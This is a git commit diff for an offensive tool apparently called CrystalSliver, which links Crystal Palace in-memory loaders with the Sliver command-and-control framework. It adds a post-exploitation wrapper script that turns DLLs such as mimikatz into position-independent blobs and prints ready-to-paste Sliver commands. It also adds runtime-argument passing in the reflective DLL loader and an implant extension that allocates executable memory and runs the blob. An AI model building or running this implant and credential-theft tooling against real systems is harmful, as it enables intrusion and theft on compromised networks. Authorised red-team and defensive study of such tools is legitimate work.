feat: trying to do post-ex better

This commit is contained in:
licitrasimone
2026-06-10 21:42:42 +02:00
parent 1ea15255e6
commit 4da921b69a
10 changed files with 121 additions and 9 deletions
+3
View File
@@ -25,6 +25,9 @@ build/
*.jar
libtcg.x64.zip
# Per-operator config (engagement-specific paths, never commit)
.crystalenv
# OS / editor
.DS_Store
.vscode/
@@ -0,0 +1,32 @@
---
task: plan post-ex UX improvements for CrystalSliver
slug: 20260610-200618_postex-ux-plan
effort: standard
phase: plan
progress: 0/8
mode: interactive
started: 2026-06-10T20:06:18Z
updated: 2026-06-10T20:10:00Z
---
## Context
Operator post-ex flow currently requires 3 separate commands, manual env export, and temp file creation for args. Goal: collapse to 1 command + 1 paste into Sliver, no env setup required.
### Risks
- sliver-client non-interactive mode uncertain — postex.sh explicitly avoids calling Sliver to sidestep this
- Multi-version CRYSTAL_PALACE_HOME per engagement: .crystalenv is per-operator, env override always wins
## Criteria
- [x] ISC-1: Plan identifies every friction point in current post-ex flow
- [x] ISC-2: Plan proposes single-command wrapper for DLL → PICO step
- [x] ISC-3: Plan proposes inline args support (no temp file required)
- [x] ISC-4: Plan proposes persistent config for CRYSTAL_PALACE_HOME
- [x] ISC-5: Plan proposes idempotent extension install check
- [x] ISC-6: Plan proposes named PICO output (not generic default)
- [x] ISC-7: Plan specifies what scripts to change vs add
- [x] ISC-8: Plan specifies backward-compatibility constraints
## Decisions
- postex.sh prints Sliver command rather than calling sliver-client directly — avoids non-interactive CLI uncertainty
- .crystalenv is git-ignored per-operator — avoids committing engagement-specific paths
- Named output default uses input DLL basename — human-readable, no timestamp churn during rapid iteration
@@ -134,7 +134,8 @@ void go ( void * loader_arguments )
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
/* Pointer to DLL arguments */
char * dll_arguments = GETRESOURCE ( _DLLARGS_ );
char * baked_args = GETRESOURCE ( _DLLARGS_ );
char * dll_arguments = loader_arguments ? (char *)loader_arguments : baked_args;
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
@@ -0,0 +1,5 @@
# Copy to .crystalenv and fill in your path.
# .crystalenv is git-ignored — safe for engagement-specific paths.
# All sliver-glue scripts source this automatically if present.
CRYSTAL_PALACE_HOME=/home/operator/external/crystalpalace/dist
@@ -17,7 +17,10 @@
set -euo pipefail
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=<path>}"
IMPLANT_BIN="${1:?Usage: bundle-implant.sh <implant.bin> [output.zip]}"
OUTPUT="${2:-./build/crystal-implant-drop.zip}"
@@ -20,6 +20,12 @@
"desc": "Path on operator host to a Crystal Palace PICO .bin produced by generate.sh — Sliver client reads it and forwards bytes to the implant",
"type": "file",
"optional": false
},
{
"name": "args",
"desc": "Optional command/args string passed to the post-ex DLL at runtime as lpReserved — overrides any args baked into the PICO at link time",
"type": "string",
"optional": true
}
]
}
@@ -24,7 +24,10 @@
set -euo pipefail
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=<path>}"
usage() {
cat <<EOF
+13 -5
View File
@@ -17,11 +17,14 @@
set -euo pipefail
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir (contains crystalpalace.jar + link script)}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
INPUT_DLL="${1:?Usage: generate.sh <input.dll> [args-file] [output.bin]}"
ARGS_FILE="${2:-}"
OUTPUT="${3:-./build/crystal-postex.x64.bin}"
: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=<path>}"
INPUT_DLL="${1:?Usage: generate.sh <input.dll> [args-string-or-file] [output.bin]}"
ARGS_INPUT="${2:-}"
OUTPUT="${3:-./build/$(basename "$INPUT_DLL" .dll).pico.bin}"
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
POSTEX_DIR="$REPO_ROOT/postex-loader"
@@ -32,9 +35,14 @@ mkdir -p "$BUILD_DIR"
# Resolve OUTPUT to absolute path BEFORE we cd into postex-loader
OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")"
if [[ -z "$ARGS_FILE" ]]; then
if [[ -z "$ARGS_INPUT" ]]; then
ARGS_FILE="$BUILD_DIR/empty.args"
: > "$ARGS_FILE"
elif [[ -f "$ARGS_INPUT" ]]; then
ARGS_FILE="$ARGS_INPUT"
else
ARGS_FILE="$BUILD_DIR/args.tmp"
printf '%s' "$ARGS_INPUT" > "$ARGS_FILE"
fi
ARGS_FILE_ABS="$(cd "$(dirname "$ARGS_FILE")" && pwd)/$(basename "$ARGS_FILE")"
+47
View File
@@ -0,0 +1,47 @@
#!/usr/bin/env bash
#
# postex.sh — one-shot post-ex wrapper: DLL → PICO → ready-to-paste Sliver command
#
# Usage:
# ./postex.sh <dll> [args-string]
#
# Wraps the DLL through Crystal Palace into a named PICO, then prints the
# ready-to-paste Sliver command. PICO is named after the input DLL
# (e.g. mimikatz.dll → build/mimikatz.pico.bin).
#
# If args-string is given it is baked into the PICO at link time.
# For runtime-dynamic args (no rebuild needed), use args= directly in Sliver.
#
# Required: CRYSTAL_PALACE_HOME in env OR set in sliver-glue/.crystalenv
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv"
INPUT_DLL="${1:?Usage: postex.sh <dll> [args-string]}"
ARGS_INPUT="${2:-}"
BASENAME="$(basename "$INPUT_DLL" .dll)"
OUTPUT="$SCRIPT_DIR/build/${BASENAME}.pico.bin"
"$SCRIPT_DIR/generate.sh" "$INPUT_DLL" "$ARGS_INPUT" "$OUTPUT"
echo ""
echo "══════════════════════════════════════════════════════════"
echo "[+] PICO: $OUTPUT"
echo ""
echo " Paste into sliver-client:"
echo " crystal payload=$OUTPUT"
echo ""
echo " With runtime args (overrides baked args, no rebuild):"
echo " crystal payload=$OUTPUT args=\"<command string>\""
echo ""
TARBALL="$SCRIPT_DIR/build/crystal-loader-0.1.0.tar.gz"
if [[ -f "$TARBALL" ]]; then
echo " One-time extension install (skip if already loaded):"
echo " extensions install $TARBALL"
echo ""
fi
echo "══════════════════════════════════════════════════════════"
@@ -60,6 +60,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
return 2;
}
/* optional runtime args string (second extension argument, type string) */
int args_len = 0;
char *runtime_args = BeaconDataExtract(&parser, &args_len);
/*
* Allocate RWX. The PICO does its own VirtualProtect calls internally
* (see postex-loader/src/loader.c fix_section_permissions). Starting
@@ -82,7 +86,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
emit(callback, "[crystal-loader] executing PICO\n");
pico_entry_t entry = (pico_entry_t)pico_mem;
entry(NULL);
entry((args_len > 0) ? runtime_args : NULL);
/*
* Intentionally NOT freeing pico_mem. Crystal Palace's loader chain